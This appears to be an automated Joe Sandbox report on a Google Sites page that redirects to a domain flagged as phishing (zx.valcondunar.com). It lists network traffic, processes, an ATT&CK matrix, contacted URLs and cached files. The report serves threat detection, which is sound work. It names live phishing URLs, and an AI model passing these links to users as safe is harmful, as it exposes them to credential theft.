Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.4:49807 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@18/66@22/10

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2084,i,14014405746246284564,13049025403623496514,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sites.google.com/mdisrupt.com/rfp/home"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2084,i,14014405746246284564,13049025403623496514,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://sites.google.com/mdisrupt.com/rfp/home	0%	Virustotal		Browse
https://sites.google.com/mdisrupt.com/rfp/home	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
zx.valcondunar.com	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://reportingwidget.corp.google.com/u/0/widget/	0%	Avira URL Cloud	safe
https://zx.valcondunar.com/favicon.ico	100%	Avira URL Cloud	phishing
https://reportingwidget-staging.corp.google.com/u/0/widget/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false		high
plus.l.google.com	172.217.17.78	true	false		high
play.google.com	172.217.19.238	true	false		high
code.jquery.com	151.101.194.137	true	false		high
www.google.com	142.250.181.68	true	false		high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false		high
zx.valcondunar.com	172.67.195.202	true	false	8%, Virustotal, Browse	unknown
blogger.googleusercontent.com	unknown	unknown	false		high
apis.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://zx.valcondunar.com/b3k54/	false		unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false		high
https://zx.valcondunar.com/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=6RT7WDCPsQY1Rlf0PPdwtPgrYQEECpcr7nxILfTJZ5JjO2yq9cSqiVLKh2BWdNuNqZv%2F5molFSNuzO87ChzHQ9iMbRGS9obpGs3%2FGAk5PIpYCOMBWfHQj40TK0ijCg%3D%3D	false		high
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.lb.en.6zM9SN8ON8Q.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo9LiInNUyZ6A99oK9HdmPXGee7Zyg/cb=gapi.loaded_0?le=scs	false		high
https://www.google.com/url?q=https%3A%2F%2Fzx.valcondunar.com%2Fb3k54%2F&sa=D&sntz=1&usg=AOvVaw3iXtykVLTRndaG0sFMkhhS	false		high
https://apis.google.com/js/client.js?onload=gapiLoaded	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://developers.google.com/identity/gsi/web/guides/gis-migration)	chromecache_99.2.dr	false		high
https://scriptz.corp.google.com/	chromecache_73.2.dr, chromecache_90.2.dr	false		high
https://apis.google.com/js/client.js	chromecache_88.2.dr	false		high
https://classroom.google.com/sharewidget?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://developers.googleblog.com/2018/03/discontinuing-support-for-json-rpc-and.html	chromecache_99.2.dr	false		high
https://workspace.google.com/products/sites/	chromecache_73.2.dr, chromecache_90.2.dr	false		high
https://console.developers.google.com/	chromecache_101.2.dr, chromecache_99.2.dr	false		high
https://www.youtube.com/subscribe_embed?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://dataconnector.corp.google.com/:session_prefix:ui/widgetview?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://angular.dev/license	chromecache_73.2.dr, chromecache_90.2.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_101.2.dr, chromecache_99.2.dr, chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://plus.google.com	chromecache_99.2.dr, chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_73.2.dr, chromecache_90.2.dr	false		high
https://clients3.google.com/cast/chromecast/home/widget/backdrop?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://support.google.com/a/answer/10411339	chromecache_91.2.dr	false		high
https://www.google.com/shopping/customerreviews/badge?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://one.google.com/storage	chromecache_107.2.dr, chromecache_91.2.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_90.2.dr	false		high
https://pay.google.com/gp/v/widget/save	chromecache_88.2.dr	false		high
https://drive.google.com/savetodrivebutton?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://reportingwidget.corp.google.com/u/0/widget/	chromecache_81.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://talkgadget.google.com/:session_prefix:talkgadget/_/widget	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://one.google.com/plans	chromecache_107.2.dr, chromecache_91.2.dr	false		high
https://play.google.com/work/embedded/search?usegapi=1&usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://one.google.com/storage/management	chromecache_107.2.dr, chromecache_91.2.dr	false		high
https://www.google.com/shopping/customerreviews/optin?usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://developers.google.com/api-client-library/javascript/reference/referencedocs	chromecache_101.2.dr, chromecache_99.2.dr	false		high
https://rapid.corp.google.com/	chromecache_73.2.dr, chromecache_90.2.dr	false		high
https://apis.google.com	chromecache_88.2.dr	false		high
https://reportingwidget-staging.corp.google.com/u/0/widget/	chromecache_81.2.dr, chromecache_110.2.dr	false	Avira URL Cloud: safe	unknown
https://developers.google.com/	chromecache_101.2.dr, chromecache_99.2.dr	false		high
https://families.google.com/webcreation?usegapi=1&usegapi=1	chromecache_106.2.dr, chromecache_88.2.dr	false		high
https://fonts.google.com/license/googlerestricted	chromecache_102.2.dr	false		high
https://domains.google.com/suggest/flow	chromecache_101.2.dr, chromecache_99.2.dr	false		high
https://support.google.com/cloudsearch/answer/6172299	chromecache_107.2.dr, chromecache_91.2.dr	false		high
https://clients6.google.com	chromecache_99.2.dr, chromecache_106.2.dr, chromecache_88.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.19.206	unknown	United States	15169	GOOGLEUS	false
172.217.19.238	play.google.com	United States	15169	GOOGLEUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
172.67.195.202	zx.valcondunar.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562034
Start date and time:	2024-11-25 05:57:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://sites.google.com/mdisrupt.com/rfp/home
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@18/66@22/10
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.46, 64.233.165.84, 172.217.21.35, 142.250.181.142, 34.104.35.123, 172.217.19.170, 216.58.208.227, 216.58.208.234, 172.217.21.42, 172.217.19.202, 172.217.19.234, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.17.74, 172.217.17.67, 199.232.214.172, 192.229.221.95, 172.217.19.195, 142.250.181.42, 142.250.181.10
Excluded domains from analysis (whitelisted): fonts.googleapis.com, ssl.gstatic.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, sites.google.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Input	Output
URL: https://sites.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://sites.google.com
URL: https://sites.google.com/mdisrupt.com/rfp/home Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "REVIEW SECURE DOCUMENT", "prominent_button_name": "REVIEW SECURE DOCUMENT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://www.google.com/url?q=https%3A%2F%2Fzx.valcondunar.com%2Fb3k54%2F&sa=D&sntz=1&usg=AOvVaw3iXtykVLTRndaG0sFMkhhS Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Redirecting you to https://zx.valcondunar.com:b3k54/", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://sites.google.com/mdisrupt.com/rfp/home Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://www.google.com/url?q=https%3A%2F%2Fzx.valcondunar.com%2Fb3k54%2F&sa=D&sntz=1&usg=AOvVaw3iXtykVLTRndaG0sFMkhhS Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }
URL: https://www.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.google.com
URL: https://zx.valcondunar.com/b3k54/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Anwser is required", "prominent_button_name": "Submit", "text_input_field_labels": "Enter the result", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: https://zx.valcondunar.com/b3k54/ Model: Joe Sandbox AI	{ "brands": [] }
	{ "brands": [] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3298
Entropy (8bit):	5.3256378013757315
Encrypted:	false
SSDEEP:	96:HYgEatJc+u7YgEafNKYgpaiKJc+u7YgpaigNKOEa2pJc+u7OEaPNKOpaWJc+u7Ov:4OF3OBrii3riMM1C2MS
MD5:	0BEE65EDF784600B19B417B62EAAB03A
SHA1:	4652FCCF9BB4CA93CC03443B5044D395ABC0C011
SHA-256:	638E0A9696A1287622B2881FCE4AA2450101D9F7E29CB7811FB4C737A4E7E8E0
SHA-512:	AAA66F45FA0425D12E689ECA46AE3C5BA70294FBCEAE8354474D01A7F845B7B30C836F50DB6FB7A0D5B0DD2E16065AE815521FD99BB2CB67EF82835C9CCCC938
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Lato%3Ai%2Cbi%2C700%2C400&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAUi-qJCY.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAXC-q.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Lato';. font-style: italic;. font-weight: 700;. font-display: swap;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHj

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	321092
Entropy (8bit):	5.518874938435031
Encrypted:	false
SSDEEP:	6144:8gyimPi/iqshKsJqrpqIGAy8GpKH8FrsnPxCxPyBmsH:TyfP4iTEqI7yDpy6QZ
MD5:	CAEA2AB2DF1C0F6D8966A61A38C15891
SHA1:	8B455319D3647CEEAEB5F9B08E051C7FA498121E
SHA-256:	0F0BA04C61AF50FC026908C7024D0B963F375B8B652A48A27E2833EDDA1BCB7A
SHA-512:	2E9B3BDB91F7023978C3A30A7226377781AB0C407C05B2394BD492C095283C915A5F696A2BD330491BAA79CEABF968ACD3FDCA69B0D33BA7FBD7E6C9FD4FBCBC
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/_/scs/abc-static/_/js/k=gapi.lb.en.6zM9SN8ON8Q.O/m=client/rt=j/sv=1/d=1/ed=1/am=AAAg/rs=AHpOoo9LiInNUyZ6A99oK9HdmPXGee7Zyg/cb=gapi.loaded_0?le=scs
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x200000, ]);.var aa,ba,fa,ma,na,ra,sa,ua;aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ba=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.fa=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.ka=fa(this);ma=function(a,b){if(b)a:{var c=_.ka;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)r

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1572)
Category:	downloaded
Size (bytes):	36285
Entropy (8bit):	5.564483010813965
Encrypted:	false
SSDEEP:	768:UVF0ejKvKZ7EAN31uaDfxfOZvkwuwb0Ezz+:UVWeV
MD5:	39D44458F0EEDB1EB876508C69E342F2
SHA1:	68F5BC22058B43D55A4E755DFEEE9E9CE824F593
SHA-256:	48A34C286471F85AF9ED18419DD97073015F72E90206D70AEDD4402C2EC1719D
SHA-512:	25C965401DC9C551848A5F7884FB5404AFEE779757FF1B6621A5365F29BDDD9AED30B9AD28F072E2D764DBD31FA30AC32E6C7229D847E2A84B3A8F062409351F
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Google+Sans:400,500\|Roboto:300,400,500,700\|Source+Code+Pro:400,700&display=swap"
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ armenian /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesans/v62/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiIUvaYr.woff2) format('woff2');. unicode-range: U+0308, U+0530-058F, U+2010, U+2024, U+25CC, U+FB13-FB17;.}./ bengali /.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/googlesans/v62/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPiAUvaYr.woff2) format('woff2');. unicode-range: U+0951-0952, U+0964-0965, U+0980-09FE, U+1CD0, U+1CD2, U+1CD5-1CD6, U+1CD8, U+1CE1, U+1CEA, U+1CED, U+1CF2, U+1CF5-1CF7, U+200C-200D, U+20B9, U+25CC, U+A8F1;.}./ canadian-aboriginal */.@font-face {. font-family: 'Google Sans';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1283)
Category:	dropped
Size (bytes):	4470
Entropy (8bit):	5.3814102326751785
Encrypted:	false
SSDEEP:	96:wNriNfnwizwTA39aygEAz3sOCIWzTwlrJx:XVwTA35U3Bb
MD5:	F29B73DEB7FD9236E7EEDA53DB230463
SHA1:	496BD1C3E40265208EB207BD2E5ADBCD34D19CB4
SHA-256:	CF173442A6A3374EE4A072A07D0758D1B7B1D292FE51426279FC9873B3FA77BC
SHA-512:	96670C5B7BB97174204EF4839DB71AAC1E9B55953AF9D8F0DCB1F3B97F7D9B86CC21C69D8C5611E15F9D27F02DB0B3B1A0FFAA3DCF78D18250DF10D05332329E
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{.var fLa;_.SA=function(a,c,e){return _.cla(document,arguments)};fLa=function(){var a=[];_.td(eLa,function(c,e){a.push(_.jl(e),":",c,";")});return a.join("")};_.TA=function(a,c,e,f){this.D=a;this.F=c;this.C=e\|\|null;this.B=f?f:[];for(a=0;a<this.B.length;a=a+1\|0)if(this.B[a].B.length>0)throw _.qra().Ob;};_.F(_.TA,_.or);_.TA.prototype.Sb=function(){return this.D};_.TA.prototype.getType=function(){return this.F};_.TA.prototype.nk=function(){return this.C};_.UA=function(){this.B=!1;this.V=!0};_.F(_.UA,_.xs);_.UA.prototype.isEnabled=function(){return this.V};_.UA.prototype.Ua=function(a){this.V=a};_.UA.prototype.BG=function(a,c){this.isEnabled()&&this.WO(a,c!=null?_.Or(c):0)};_.UA.prototype.speak=function(a,c){var e=this.BG;a=new _.TA(a,0,null,null);e.call(this,a,c)};var gLa={" ":"space","`":"backtick","~":"tilde","!":"exclamation mark","@":"at","#":"pound",$:"dollar","%":"percent","^":"caret","&":"ampersand","

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1136)
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	5.249530958699059
Encrypted:	false
SSDEEP:	24:hY6svN/6zSU6pedQf3Zvcn1BZdAe1nCr1LTHI5z1sW:3qN/2+pUAew85zf
MD5:	FBE36EB2EECF1B90451A3A72701E49D2
SHA1:	AE56EA57C52D1153CEC33CEF91CF935D2D3AF14D
SHA-256:	E8F2DED5D74C0EE5F427A20B6715E65BC79ED5C4FC67FB00D89005515C8EFE63
SHA-512:	7B1FD6CF34C26AF2436AF61A1DE16C9DBFB4C43579A9499F4852A7848F873BAC15BEEEA6124CF17F46A9F5DD632162364E0EC120ACA5F65E7C5615FF178A248F
Malicious:	false
Reputation:	low
